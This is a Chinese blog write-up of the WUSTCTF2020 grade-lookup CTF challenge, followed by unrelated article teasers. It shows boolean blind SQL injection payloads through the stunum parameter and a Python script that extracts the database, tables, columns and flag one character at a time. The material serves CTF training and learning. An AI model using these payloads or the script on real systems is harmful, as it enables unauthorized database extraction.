[WUSTCTF2020]颜值成绩查询 --不会编程的崽

news/2024/7/5 4:14:21

这题也是一个很简单的盲注题目,这几天sql与模板注入做麻了,也是轻松拿捏。

 它已经提示,enter number,所有猜测这里后台代码并没有使用 " ' 闭合。没有明显的waf提示,   但是or,and都没反应。再去fuzz一下,似乎也没过滤什么。最后发现 ^ || 还有反应。

?stunum=1000||False

?stunum=1000||True

 ok,这就可以作为盲注判断正误的标志。

挖数据库名字。

?stunum=10000||(ascii(substr(database(),2,1))=116)

 数据库名就是ctf。。。不会表名和列名是flag吧???

爆表名

?stunum=10000||(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27ctf%27),1,1))=102)

表有flag,score。猜对了,欧耶。

爆列名 

?stunum=10000||(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),1,1))=102)

 列名有flag,value。好敷衍的ctf,哈哈。不过flag在valuel里。我在这被骗了。读取flag吧

?stunum=10000||(ASCII(SUBSTR((select(group_concat(value))from(flag)),1,1))=102)

当然不能手工的,必须上脚本

import requests

flag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(1,500,1):
    for y in range(1,128,1):
        #url = 'http://63785cf9-f3b0-489d-a03e-e35d402b8ac7.node5.buuoj.cn:81/?stunum=10000||(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27ctf%27),'+str(i)+',1))='+str(y)+')'
        #url='http://63785cf9-f3b0-489d-a03e-e35d402b8ac7.node5.buuoj.cn:81/?stunum=10000||(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),'+str(i)+',1))='+str(y)+')'
        url='http://63785cf9-f3b0-489d-a03e-e35d402b8ac7.node5.buuoj.cn:81/?stunum=10000||(ASCII(SUBSTR((select(group_concat(value))from(flag)),'+str(i)+',1))='+str(y)+')'
        content=requests.get(url)
        if "Hi admin" in content.text:
            flag=flag+chr(y)
            print(flag)
            break

 ok,这比极客大挑战还简单不少。哈哈。


http://lihuaxi.xjx100.cn/news/2100989.html

相关文章

MLP-RF随机森林回归预测(matlab代码)

MLP-RF随机森林回归预测matlab代码 数据为Excel股票预测数据。 数据集划分为训练集、验证集、测试集,比例为8:1:1 模块化结构: 代码将整个流程模块化,使得代码更易于理解和维护。不同功能的代码块被组织成函数或者独立的模块,使…

【LeetCode热题100】148. 排序链表(链表)

一.题目要求 给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 二.题目难度 中等 三.输入样例 示例 1: 输入:head [4,2,1,3] 输出:[1,2,3,4] 示例 2: 输入:head [-1,5,3,4,0] 输…

Winform编程详解六:RadioButton 单选框

一、属性介绍 1. (Name) 控件的对象标识符ID 2. BackColor 控件的背景颜色 3. Checked 控件的选中状态 4. Cursor 鼠标移过该控件显示的光标样式 5. Font 控件的字体样式 6. ForeColor 控件的文本颜色 7. Text 控件的文本 8. TextAlign 控件文本的对齐方式…

吴恩达prompt 笔记2:迭代提示开发(Iterative Prompt Develelopment)

1 前言 我们很难在初次尝试中就设计出最佳的提示,因此需要根据ChatGPT的反馈进行分析,分析输出具体在哪里不符合期望,然后不断思考和优化提示。如果有条件的话,最好是利用批量的样本来改善提示,这样可以对你的优化结…

数据库表结构导出工具【人生的第一个开源工具】

数据库表结构导出工具 如今我努力奔跑,不过是为了追上那个曾经被寄予厚望的自己 —— 约翰。利文斯顿 本工具是一个用于将数据库表结构导出到 Word 文档的实用工具。它能够连接到指定的数据库,提取数据库中所有表的结构信息,并将这些信息以专…

Linux之shell文本搜索工具grep

华子目录 文本搜索工具grep作用格式参数注意示例 正则表达式概念基本正则表达式常见元字符posix字符类示例 扩展正则表达式概念元字符示例三种支持扩展正则的方法 文本搜索工具grep 作用 grep是linux中一种强大的文件搜索过滤工具,可以按照正则表达式检索文件内容…

UG NX二次开发(C++)-CAM-获取加工操作的四种方法

文章目录 1、前言2、采用选中工序导航器获取操作的Tag_t3、采用遍历对象的方法获取操作的Tag_t4、采用Collection遍历获取操作对象NXOpen::CAM::Operation5、采用FindObject获取操作对象NXOpen::CAM::Operation6、以上4种方法封装成类 Class CAMOperation6.1 CAMOperation.h文件…

用pako.js压缩字符串,如何在后端用java解开?

背景:项目链路为腾讯clb->Ingress(nginx)->项目服务,腾讯的Ingress对header请求头最大值为256K,无法加大,由于业务配置数据增加,此问题诟病已久,于是想着压缩打请求头数据后再请求,从而解决请求头大的…